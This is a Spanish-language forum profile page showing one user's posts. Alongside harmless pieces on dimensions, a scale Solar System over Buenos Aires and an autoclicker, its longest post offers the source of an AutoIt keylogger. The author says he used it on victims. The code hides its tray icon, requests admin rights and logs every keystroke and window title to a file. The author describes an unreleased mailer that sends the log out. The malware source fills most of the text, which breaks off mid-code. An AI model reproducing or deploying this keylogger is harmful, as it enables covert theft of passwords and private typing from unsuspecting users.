RenzoARG

Usuario (Argentina)

Primer post: 3 sept 2014Último post: 13 jun 2015

Posts

126

Puntos totales

1044

Comentarios

"4D" para niños.

Ciencia EducacionporAnónimo12/12/2014

Vivimos en un momento en el que lo "3D" se pone de moda sin darnos cuenta que usamos mal el término. Existimos en un universo "3D" (ancho, alto y profundidad) según el conocimiento popular... Sin embargo esto está errado. Son 4 dimensiones, si agregamos el "tiempo". Un espacio, cualquiera sea, está demarcado por sus límites físicos y su límite "temporal": Ancho, alto, profundidad y tiempo. El mismo espacio en un momento diferente, es otro espacio. La sucesión de "momentos" en este espacio es lo que hace nuestra existencia 4D. Conociendo esto, es muy fácil imaginar 5, 6, mil dimensiones. Sin embargo, como las medimos? Esto es imposible (por el momento). Entonces, como podemos dar por sentada la existencia de otras dimensiones? Siempre que un concepto es dificil de comprender en bruto, es mejor rebajarlo a algo mesurable para poder estudiar luego cosas más avanzadas. Es imposible comprender ecuaciones sin antes saber sumar; es imposible apreciar poesía, sin antes saber leer. Entonces, imaginemos un mundo 3D (ancho, alto y tiempo) Luego de simplificar de manera atroz la percepción de dimensiones, se me ocurren más ideas. • Suprimir el "tiempo" en vez de la "altura" y crear un universo en torno a este concepto. (una serie de "capas" paralelas donde Sr. Punto interactúe simultaneamente en un entorno que no es tiempo... sinó algo mesurable sólo desde una 5ta dimensión) • Crear un universo lineal, donde solo exista el "largo" (una secuencia de puntos de existencia, sin tiempo) • Un universo proyectado en un círculo de Mobeius (Möbius) (el que más me intriga). Que cosas piensa mi cabeza cuando estoy al pedo!!!

Escala del Sistema Solar sobre Buenos Aires.

Apuntes Y MonografiasporAnónimo9/3/2014

Llevo unos días activo en T! No pudiendo quedarme cruzado de brazos mirando posts ajenos (que por cierto entretienen mucho, hasta los mas crap) decidí compartir un artículo que armé para otra página y tuvo una buena recepción. Considerando que la calidad de gente en T! es mucho mas alta que en la mencionada página (si no, no estaría acá), he aquí un ensayo, paper, monografía que espero le sea de utilidad a alguien aún en sus estudios. Se me ocurrió, en una de esas ideas bizarras que solo aparecen cuando uno esta falto de sueño, la idea de poner a una escala tangible el sistema solar (porque todos sabemos que las huevadas que usábamos en la escuela como ejemplo estaban como el ojete). Al principio tome a Plutón siendo en si, el objeto mas chico del sistema solar que representa relevancia (dejando a Ceres aparte... por ahora) Plutón, tiene un diametro de 2300 km... Así que reducirlo a 23 cm, me parecio una idea bastante razonable. Teniendo esto en cuenta, comenzó mi tarea de reducir todas las medidas por el mismo factor: El sol, astro rey, me quedo en un tamaño de 139 metros (1 cuadra a una cuadra y media... dependiendo de donde vivan). Ahora... donde lo pongo? Nada mas obvio, ciudad de Buenos Aires ( Dejo a su elección en que barrio poner una bola de plasma de 139 metros ardiendo a 5500 grados ) Seguimos con Mercurio, una bola de 48 cm. Buen tamaño, maleable. Este, estaria bastante cerca en nuestro mapa a 5.8km del sol. (es mas, en mi escala, el punto que lo representa, se sobreimpone al del sol!). Venus, siguiente en la lista. Con un tamaño de 1,20m iria a 10,8 km del sol. La tierra (mirá! se ve mi casa mamá!) A 15 km de distancia, una esfera de 1,28 metros. Marte Una bola de 68 cm, a 22,8 km del sol. Acá entra en juego Ceres, el objeto mas grande del cinturón de asteroides. Con un diámetro original de 1000 km es digno de mención. Para que tengan una idea del tamaño de ese pedacito de roca espacial: Este, en nuestra escala, representa una bola de billar (10 cm), a 42 km del Sol. Sigue el planeta mas grande, Jupiter. Acá nos empezamos a ir al carajo con las escalas. A 78km una bola gaseosa de 14,3 metros. Saturno. El planeta solo (agreguen y hagan la cuenta del tamaño de los anillos ustedes, si les interesa) mide 12 metros en esta escala. a 143 km del sol. Nah, me da pena... El anillo exterior mediria unos 27 metros. Urano (Chiste malo y obvio... al menos en ingles). Un objeto de 5,10m a 287 km. Neptuno. Una bola con atmósfera de metano de 4,9 metros, a 450km del Sol. Por último, el ya mencionado Plutón. 23 centímetros, a 490 km del Sol. Representandolo sobre el mapa. (Noten que me tome varias licencias, las orbitas en realidad son elipticas e incluso oscilan sobre el eje "vertical" del sistema.) Las orbitas de los planetas internos, no estan expresadas. Considerando que somos una bola de un poco mas de un metro y una persona no alcanzaria el tamaño de un virus promedio en esta escala... F*cking grande, eh? Yapas en esta escala: Si nos moviéramos (a escala) a la velocidad de los transbordadores espaciales (la velocidad de escape)... Estaríamos arrastrándonos a 2,8 metros/hora. Si fuéramos a la velocidad de las misiones Apollo (las mas rápidas tripuladas por un hombre)... No cambiaría mucho, 3,98 metros/hora. Si viajáramos a la velocidad de la sonda mas rápida (Las sondas Helios; 252,700 km/h, corrijanme si hay otra). 25,2 metros/hora. La tierra, en órbita en esta escala, se mueve en promedio a 10,7 metros/hora. Si viajaramos a la velocidad de la luz, esta equivaldría a unos 1080km/hora, la velocidad promedio de un avión comercial (siendo una persona del tamaño de un virus!).

(

(Mini Programa) Crea y entendé tu propio autoclicker!

Hazlo Tu MismoporAnónimo2/19/2015

Hace bastante tiempo, en mis epocas de botter descontrolado, un amigo me pidio un autoclicker para poder subir sus puntos de skill en el MU online... Lo único que tenia que hacer es, al presionar una tecla comenzar a clickear desaforadamente hasta que otra tecla fuera presionada. Nada de otro mundo. Le dije: "Boludo, tenés 20 millones de programas que hacen eso en internet y me pedis eso a mi?" Me respondió: "me salta el antivirus en todos" Lo verifiqué, la gran mayoría de los autoclickers vienen con "regalitos sorpresa" incorporados (a tratar en otro mini programa de Autoit... Maldad no incluida). Al hacer este script, obviamente, comparti el source (dado que es algo MUY básico de armar, una vez introducido en el lenguaje), para mostrar que es algo que está limpio (pudiendo cada usuario compilarlo en su PC y tener la certeza al 100% de esto) Entonces, puse manos a la obra. En si, yo no quería que fuera demasiado básico, decidí agregarle funciones; para que no sea útil solo a una tarea. Además del autoclick, le incorporé la capacidad de configurar el tiempo entre clicks (ciertos juegos detectan clicks a ciertas velocidades como bots), la capacidad de mantener presionado (para no romper el mouse con la clásica cinta o moneda de 5 centavos) y... que botón presionar. El GUI es espartano. (me encanta poner el source de fondo, para que no se vea la cantidad de huevadas que tengo en desktop... Razón por la cual mi win7 se ve como win 95, para liberar recursos de tan saturada que esta esta poronga de PC gracias a los iconos). El programa en si: Descargar de Google Docs Para ver y copiar el source (espero que lo editen y mejoren), pueden referirse al post que esta en la Comunidad de Autoit (recién fundada... increíble que no hubiera una!) Source

(AutoIt) Creando un Virus en AutoIt - Keylogger

Hazlo Tu MismoporAnónimo6/13/2015

Hoy, aburrido un finde, voy a hacer público el source de uno de mis keylogger que más frutos me dió.En su época dorada solo el AV de un colega (Jiangmin) lo detectaba como PUP (potentially unwanted program).Hoy, Avast lo llama "AutoIt:KeyLogger-L" y la versión repackeada... ni la reconoce.Pero los AV mas importantes lo llaman Trojan.Generic.13139665 (seudónimos en link) Este virus es en realidad, un virus compuesto por varios archivos. Lo que lo convierte en malware. log.html solo es el archivo que almacena la informacion. Mailer.exe es el programita encargado de enviar un e-mail con datos únicos de la PC victima y un attachment del archivo log.html (el cual aún no va a ser público, dado que no es detectado y bypassea firewalls). keylogger.exe... es lo que se hace "abierto" dado que los AV le quitaron la gracia. El propósito del post? Mostrar como con un par de lineas de codigo en script (si... 600+ lineas son pocas lineas) se puede causar MUCHO daño. Siempre piensen 2 veces antes de descargar algo directo de alguien.Comenzamos con lo básico:Declaramos variables y prearmamos el archivo log. Previamente eliminamos el ícono de la barra de tareas y solicitamos al sistema derechos de administrador (en caso de que el usuario SEA administrador, no le sale advertencia alguna y el virus obtiene privilegios absolutos. [color=#000000] #NoTrayIcon #RequireAdmin [email protected] & "-" & [email protected] & "-" & [email protected] Local $user32 = DllOpen("user32"), $log Local $window2 = "" Local $CAPSLOCKTOGGLE Local $log = "log.html" HotKeySet( "^{F9}", "Terminate") OnAutoItExitRegister ("Terminate") If FileExists($log) = 1 Then FileDelete( $log ) EndIf FileWrite($log,"") FileOpen($log, 1) Sleep(100) FileWrite($log, "") FileWrite($log, "<center>[#[ Inicio del log ]#] </center> ") FileWrite($log, "<center>[#[ Historial : ]#] </center> ") FileWrite($log, "<center>{EN} = Enter </center>") FileWrite($log, "<center>{BS} = BackSpace </center>") FileWrite($log, "<center>{LMS} = Click Izquierdo </center>") FileWrite($log, "<center>{RMS} = Click Derecho </center>") FileWrite($log, "<center>{MMS} = Click Medio </center>") FileWrite($log, " ") FileWrite($log, "<center>[#[ Log : ]#] </center> ") [/color] El virus completo se basa en 1 sola función. Así que la armamos y agregamos: [color=#000000] Func _LoggearTecla($loggueo) $window = WinGetTitle("") If $window = $window2 Then FileWrite($log, $loggueo) Else $window2 = $window FileWrite($log, " " & "[" & [email protected] & "." & [email protected] & "." & [email protected] & " " & [email protected] & ":" & [email protected] & ":" & [email protected] & '] Window : "' & $window & '" ' & $loggueo) EndIf EndFunc [/color] Es bastante obvio, guarda el titulo de ventana y tecla presionada en el archivo $log.Luego, viene la parte engorrosa... Recibir cada tecla pesionada posible con la funcion _isPressed [color=#000000] Func _IsPressed($hexKey) Local $aR, $bRv $hexKey = '0x' & $hexKey $aR = DllCall($user32, "int", "GetAsyncKeyState", "int", $hexKey) If $aR[0] <> 0 Then $bRv = 1 Else $bRv = 0 EndIf Return $bRv EndFunc [/color] El uso es esto: [color=#000000] If _IsPressed ('2E') = 1 Then _LoggearTecla('.') While _IsPressed ('2E') = 1 Sleep(1) WEnd ElseIf _IsPressed ('3F') = 1 Then _LoggearTecla("?") While _IsPressed ('3F') = 1 Sleep(1) WEnd ... [/color] Pero repetido, muchas, muchas veces!!! (incluyendo teclas "shift")Preparen la ruedita en modo turbo!!! [color=#000000] While 1 For $n = 30 To 39 If _IsPressed ($n) Then If ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla('=') ElseIf ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla('0') ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla('!') ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla('1') ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla('"') ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla('2') ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla('#') ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla( '3') ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla('$') ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla('4') ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla('%') ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla( '5') ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla('&') ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla('6') ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla('/') ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla('7') ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla('(') ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla('8') ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla(')') ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla('9') EndIf While _IsPressed ($n) = 1 Sleep(1) WEnd EndIf Next If _IsPressed ('2E') = 1 Then _LoggearTecla('.') While _IsPressed ('2E') = 1 Sleep(1) WEnd ElseIf _IsPressed ('3F') = 1 Then _LoggearTecla("?") While _IsPressed ('3F') = 1 Sleep(1) WEnd ElseIf _IsPressed ('B4') = 1 Then _LoggearTecla("´") While _IsPressed ('B4') = 1 Sleep(1) WEnd ElseIf _IsPressed ('2A') = 1 Then _LoggearTecla("*") While _IsPressed ('2A') = 1 Sleep(1) WEnd ElseIf _IsPressed ('2B') = 1 Then _LoggearTecla("+") While _IsPressed ('2B') = 1 Sleep(1) WEnd ElseIf _IsPressed ('27') = 1 Then _LoggearTecla("'") While _IsPressed ('27') = 1 Sleep(1) WEnd ElseIf _IsPressed ('41') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("a") Else _LoggearTecla("A") EndIf While _IsPressed ('41') = 1 Sleep(1) WEnd ElseIf _IsPressed ('42') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("b") Else _LoggearTecla("B") EndIf While _IsPressed ('42') = 1 Sleep(1) WEnd ElseIf _IsPressed ('43') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("c") Else _LoggearTecla("C") EndIf While _IsPressed ('43') = 1 Sleep(1) WEnd ElseIf _IsPressed ('44') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("d") Else _LoggearTecla("D") EndIf While _IsPressed ('44') = 1 Sleep(1) WEnd ElseIf _IsPressed ('45') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("e") Else _LoggearTecla("E") EndIf While _IsPressed ('45') = 1 Sleep(1) WEnd ElseIf _IsPressed ('46') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("f") Else _LoggearTecla("F") EndIf While _IsPressed ('46') = 1 Sleep(1) WEnd ElseIf _IsPressed ('47') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("g") Else _LoggearTecla("G") EndIf While _IsPressed ('47') = 1 Sleep(1) WEnd ElseIf _IsPressed ('48') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("h") Else _LoggearTecla("H") EndIf While _IsPressed ('48') = 1 Sleep(1) WEnd ElseIf _IsPressed ('49') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("i") Else _LoggearTecla("I") EndIf While _IsPressed ('49') = 1 Sleep(1) WEnd ElseIf _IsPressed ('4A') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("j") Else _LoggearTecla("J") EndIf While _IsPressed ('4A') = 1 Sleep(1) WEnd ElseIf _IsPressed ('4B') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("k") Else _LoggearTecla("K") EndIf While _IsPressed ('4B') = 1 Sleep(1) WEnd ElseIf _IsPressed ('4C') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("l") Else _LoggearTecla("L") EndIf While _IsPressed ('4C') = 1 Sleep(1) WEnd ElseIf _IsPressed ('4D') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("m") Else _LoggearTecla("M") EndIf While _IsPressed ('4D') = 1 Sleep(1) WEnd ElseIf _IsPressed ('4E') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("n") Else _LoggearTecla("N") EndIf While _IsPressed ('4E') = 1 Sleep(1) WEnd ElseIf _IsPressed ('4F') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("o") Else _LoggearTecla("O") EndIf While _IsPressed ('4F') = 1 Sleep(1) WEnd ElseIf _IsPressed ('50') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("p") Else _LoggearTecla("P") EndIf While _IsPressed ('50') = 1 Sleep(1) WEnd ElseIf _IsPressed ('51') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("q") Else _LoggearTecla("Q") EndIf While _IsPressed ('51') = 1 Sleep(1) WEnd ElseIf _IsPressed ('52') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("r") Else _LoggearTecla("R") EndIf While _IsPressed ('52') = 1 Sleep(1) WEnd ElseIf _IsPressed ('53') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("s") Else _LoggearTecla("S") EndIf While _IsPressed ('53') = 1 Sleep(1) WEnd ElseIf _IsPressed ('54') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("t") Else _LoggearTecla("T") EndIf While _IsPressed ('54') = 1 Sleep(1) WEnd ElseIf _IsPressed ('55') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("u") Else _LoggearTecla("U") EndIf While _IsPressed ('55') = 1 Sleep(1) WEnd ElseIf _IsPressed ('56') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("v") Else _LoggearTecla("V") EndIf While _IsPressed ('56') = 1 Sleep(1) WEnd ElseIf _IsPressed ('57') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("w") Else _LoggearTecla("W") EndIf While _IsPressed ('57') = 1 Sleep(1) WEnd ElseIf _IsPressed ('58') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("x") Else _LoggearTecla("X") EndIf While _IsPressed ('58') = 1 Sleep(1) WEnd ElseIf _IsPressed ('59') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("y") Else _LoggearTecla("Y") EndIf While _IsPressed ('59') = 1 Sleep(1) WEnd ElseIf _IsPressed ('5A') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("z") Else _LoggearTecla("Z") EndIf While _IsPressed ('5A') = 1 Sleep(1) WEnd ElseIf _IsPressed ('20') = 1 Then _LoggearTecla(" ") While _IsPressed ('20') = 1 Sleep(1) WEnd ElseIf _IsPressed ('01') = 1 Then _LoggearTecla("{LMS}") While _IsPressed ("01") = 1 Sleep(1) WEnd ElseIf _IsPressed ('02') = 1 Then _LoggearTecla("{RMS}") While _IsPressed ("02") = 1 Sleep(1) WEnd ElseIf _IsPressed ('04') = 1 Then _LoggearTecla("{MMS}") While _IsPressed ("04") = 1 Sleep(1) WEnd ElseIf _IsPressed ('08') = 1 Then _LoggearTecla("{BS}") While _IsPressed ("08") = 1 Sleep(1) WEnd ElseIf _IsPressed ('09') = 1 Then _LoggearTecla("{TAB}") While _IsPressed ("09") = 1 Sleep(1) WEnd ElseIf _IsPressed ('0d') = 1 Then _LoggearTecla("{EN} ") While _IsPressed ("0d") = 1 Sleep(1) WEnd ElseIf _IsPressed ('10') Then _LoggearTecla("{SHIFT}") While _IsPressed ("10") = 1 For $n = 30 To 39 If _IsPressed ($n) Then If StringRight($n, 1) = 0 Then _LoggearTecla('=') ElseIf StringRight($n, 1) = 1 Then _LoggearTecla('!') ElseIf StringRight($n, 1) = 2 Then _LoggearTecla('"') ElseIf StringRight($n, 1) = 3 Then _LoggearTecla('#') ElseIf StringRight($n, 1) = 4 Then _LoggearTecla('$') ElseIf StringRight($n, 1) = 5 Then _LoggearTecla('%') ElseIf StringRight($n, 1) = 6 Then _LoggearTecla('&') ElseIf StringRight($n, 1) = 7 Then _LoggearTecla('/') ElseIf StringRight($n, 1) = 8 Then _LoggearTecla('(') ElseIf StringRight($n, 1) = 9 Then _LoggearTecla(')') EndIf While _IsPressed ($n) = 1 Sleep(1) WEnd EndIf Next If _IsPressed ('41') = 1 Then _LoggearTecla("A") While _IsPressed ('41') = 1 Sleep(1) WEnd If _IsPressed ('42') = 1 Then _LoggearTecla("B") While _IsPressed ('42') = 1 Sleep(1) WEnd If _IsPressed ('43') = 1 Then _LoggearTecla("C") While _IsPressed ('43') = 1 Sleep(1) WEnd If _IsPressed ('44') = 1 Then _LoggearTecla("D") While _IsPressed ('44') = 1 Sleep(1) WEnd If _IsPressed ('45') = 1 Then _LoggearTecla("E") While _IsPressed ('45') = 1 Sleep(1) WEnd If _IsPressed ('46') = 1 Then _LoggearTecla("F") While _IsPressed ('46') = 1 Sleep(1) WEnd If _IsPressed ('47') = 1 Then _LoggearTecla("G") While _IsPressed ('47') = 1 Sleep(1) WEnd If _IsPressed ('48') = 1 Then _LoggearTecla("H") While _IsPressed ('48') = 1 Sleep(1) WEnd If _IsPressed ('49') = 1 Then _LoggearTecla("I") While _IsPressed ('49') = 1 Sleep(1) WEnd If _IsPressed ('4A') = 1 Then _LoggearTecla("J") While _IsPressed ('4A') = 1 Sleep(1) WEnd If _IsPressed ('4B') = 1 Then _LoggearTecla("K") While _IsPressed ('4B') = 1 Sleep(1) WEnd If _IsPressed ('4C') = 1 Then _LoggearTecla("L") While _IsPressed ('4C') = 1 Sleep(1) WEnd If _IsPressed ('4D') = 1 Then _LoggearTecla("M") While _IsPressed ('4D') = 1 Sleep(1) WEnd If _IsPressed ('4E') = 1 Then _LoggearTecla("N") While _IsPressed ('4E') = 1 Sleep(1) WEnd If _IsPressed ('4F') = 1 Then _LoggearTecla("O") While _IsPressed ('4F') = 1 Sleep(1) WEnd If _IsPressed ('50') = 1 Then _LoggearTecla("P") While _IsPressed ('50') = 1 Sleep(1) WEnd If _IsPressed ('51') = 1 Then _LoggearTecla("Q") While _IsPressed ('51') = 1 Sleep(1) WEnd If _IsPressed ('52') = 1 Then _LoggearTecla("R") While _IsPressed ('52') = 1 Sleep(1) WEnd If _IsPressed ('53') = 1 Then _LoggearTecla("S") While _IsPressed ('53') = 1 Sleep(1) WEnd If _IsPressed ('54') = 1 Then _LoggearTecla("T") While _IsPressed ('54') = 1 Sleep(1) WEnd If _IsPressed ('55') = 1 Then _LoggearTecla("U") While _IsPressed ('55') = 1 Sleep(1) WEnd If _IsPressed ('56') = 1 Then _LoggearTecla("V") While _IsPressed ('56') = 1 Sleep(1) WEnd If _IsPressed ('57') = 1 Then _LoggearTecla("W") While _IsPressed ('57') = 1 Sleep(1) WEnd If _IsPressed ('58') = 1 Then _LoggearTecla("X") While _IsPressed ('58') = 1 Sleep(1) WEnd If _IsPressed ('59') = 1 Then _LoggearTecla("Y") While _IsPressed ('59') = 1 Sleep(1) WEnd If _IsPressed ('5A') = 1 Then _LoggearTecla("Z") While _IsPressed ('5A') = 1 Sleep(1) WEnd WEnd ElseIf _IsPressed ('11') = 1 Then _LoggearTecla("{CTRL}") While _IsPressed ("11") = 1 Sleep(1) WEnd ElseIf _IsPressed ('12') = 1 Then _LoggearTecla("{ALT}") While _IsPressed ("12") = 1 Sleep(1) WEnd ElseIf _IsPressed ('13') = 1 Then _LoggearTecla("{PAUSE}") While _IsPressed ("13") = 1 Sleep(1) WEnd ElseIf _IsPressed ('14') = 1 Then _LoggearTecla("{CAPSLOCK}") If $CAPSLOCKTOGGLE = 1 Then $CAPSLOCKTOGGLE = 0 ElseIf $CAPSLOCKTOGGLE = 0 Then $CAPSLOCKTOGGLE = 1 EndIf While _IsPressed ("14") = 1 Sleep(1) WEnd ElseIf _IsPressed ('1b') = 1 Then _LoggearTecla("{ESC}") While _IsPressed ("1b") = 1 Sleep(1) WEnd ElseIf _IsPressed ('21') = 1 Then _LoggearTecla("{PGUP}") While _IsPressed ("21") = 1 Sleep(1) WEnd ElseIf _IsPressed ('22') = 1 Then _LoggearTecla("{PG_DOWN}") While _IsPressed ("22") = 1 Sleep(1) WEnd ElseIf _IsPressed ('23') = 1 Then _LoggearTecla("{END}") While _IsPressed ("23") = 1 Sleep(1) WEnd ElseIf _IsPressed ('24') = 1 Then _LoggearTecla("{HOME}") While _IsPressed ("24") = 1 Sleep(1) WEnd ElseIf _IsPressed ('25') = 1 Then _LoggearTecla("{LEFT ARROW}") While _IsPressed ("25") = 1 Sleep(1) WEnd ElseIf _IsPressed ('26') = 1 Then _LoggearTecla("{UP ARROW}") While _IsPressed ("26") = 1 Sleep(1) WEnd ElseIf _IsPressed ('27') = 1 Then _LoggearTecla("{RIGHT ARROW}") While _IsPressed ("27") = 1 Sleep(1) WEnd ElseIf _IsPressed ('28') = 1 Then _LoggearTecla("{DOWN ARROW}") While _IsPressed ("28") = 1 Sleep(1) WEnd ElseIf _IsPressed ('2c') = 1 Then _LoggearTecla("{PRINT}") While _IsPressed ("2c") = 1 Sleep(1) WEnd ElseIf _IsPressed ('2d') = 1 Then _LoggearTecla("{INSERT}") While _IsPressed ("2d") = 1 Sleep(1) WEnd ElseIf _IsPressed ('2e') = 1 Then _LoggearTecla("{DEL}") While _IsPressed ("2e") = 1 Sleep(1) WEnd EndIf WEnd [/color] Agregamos la funcion de cierre y obtenemos el fruto de los cientos de lineas! [color=#000000] #NoTrayIcon #RequireAdmin [email protected] & "-" & [email protected] & "-" & [email protected] Local $user32 = DllOpen("user32"), $log Local $window2 = "" Local $CAPSLOCKTOGGLE Local $log = "log.html" HotKeySet( "^{F9}", "Terminate") OnAutoItExitRegister ("Terminate") If FileExists($log) = 1 Then FileDelete( $log ) EndIf FileWrite($log,"") FileOpen($log, 1) Sleep(100) FileWrite($log, "") FileWrite($log, "<center>[#[ Inicio del Log ]#] </center> ") FileWrite($log, "<center>[#[ Historial : ]#] </center> ") FileWrite($log, "<center>{EN} = Enter </center>") FileWrite($log, "<center>{BS} = BackSpace </center>") FileWrite($log, "<center>{LMS} = Click Izquierdo </center>") FileWrite($log, "<center>{RMS} = Click Derecho </center>") FileWrite($log, "<center>{MMS} = Click Medio </center>") FileWrite($log, " ") FileWrite($log, "<center>[#[ Log : ]#] </center> ") While 1 For $n = 30 To 39 If _IsPressed ($n) Then If ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla('=') ElseIf ((StringRight($n, 1) = 0) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla('0') ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla('!') ElseIf ((StringRight($n, 1) = 1) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla('1') ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla('"') ElseIf ((StringRight($n, 1) = 2) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla('2') ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla('#') ElseIf ((StringRight($n, 1) = 3) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla( '3') ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla('$') ElseIf ((StringRight($n, 1) = 4) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla('4') ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla('%') ElseIf ((StringRight($n, 1) = 5) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla( '5') ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla('&') ElseIf ((StringRight($n, 1) = 6) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla('6') ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla('/') ElseIf ((StringRight($n, 1) = 7) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla('7') ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla('(') ElseIf ((StringRight($n, 1) = 8) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla('8') ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 1)) Then _LoggearTecla(')') ElseIf ((StringRight($n, 1) = 9) And ($CAPSLOCKTOGGLE = 0)) Then _LoggearTecla('9') EndIf While _IsPressed ($n) = 1 Sleep(1) WEnd EndIf Next If _IsPressed ('2E') = 1 Then _LoggearTecla('.') While _IsPressed ('2E') = 1 Sleep(1) WEnd ElseIf _IsPressed ('3F') = 1 Then _LoggearTecla("?") While _IsPressed ('3F') = 1 Sleep(1) WEnd ElseIf _IsPressed ('B4') = 1 Then _LoggearTecla("´") While _IsPressed ('B4') = 1 Sleep(1) WEnd ElseIf _IsPressed ('2A') = 1 Then _LoggearTecla("*") While _IsPressed ('2A') = 1 Sleep(1) WEnd ElseIf _IsPressed ('2B') = 1 Then _LoggearTecla("+") While _IsPressed ('2B') = 1 Sleep(1) WEnd ElseIf _IsPressed ('27') = 1 Then _LoggearTecla("'") While _IsPressed ('27') = 1 Sleep(1) WEnd ElseIf _IsPressed ('41') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("a") Else _LoggearTecla("A") EndIf While _IsPressed ('41') = 1 Sleep(1) WEnd ElseIf _IsPressed ('42') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("b") Else _LoggearTecla("B") EndIf While _IsPressed ('42') = 1 Sleep(1) WEnd ElseIf _IsPressed ('43') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("c") Else _LoggearTecla("C") EndIf While _IsPressed ('43') = 1 Sleep(1) WEnd ElseIf _IsPressed ('44') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("d") Else _LoggearTecla("D") EndIf While _IsPressed ('44') = 1 Sleep(1) WEnd ElseIf _IsPressed ('45') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("e") Else _LoggearTecla("E") EndIf While _IsPressed ('45') = 1 Sleep(1) WEnd ElseIf _IsPressed ('46') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("f") Else _LoggearTecla("F") EndIf While _IsPressed ('46') = 1 Sleep(1) WEnd ElseIf _IsPressed ('47') = 1 Then If $CAPSLOCKTOGGLE = 0 Then _LoggearTecla("g") Else _LoggearTecla("G") EndIf While _IsPressed ('47') = 1 Sleep(1) WEnd 